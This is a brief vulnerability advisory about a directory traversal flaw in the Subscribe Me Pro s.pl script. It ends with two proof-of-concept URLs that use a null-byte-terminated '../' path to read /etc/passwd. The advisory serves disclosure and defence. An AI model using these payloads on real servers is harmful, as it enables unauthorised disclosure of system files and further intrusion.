source: https://www.securityfocus.com/bid/14817/info

Subscribe Me Pro is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.

Subscribe Me Pro 2.044.09P and prior are affected by this vulnerability.

http://www.example.com/[dir]/s.pl?e=1&subscribe=subscribe&l=../../../../../../../../etc/passwd%00&SUBMIT=%20%20Submit%20%20
http://www.example.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscribe=subscribe&l=../../../../../../../../etc/passwd%00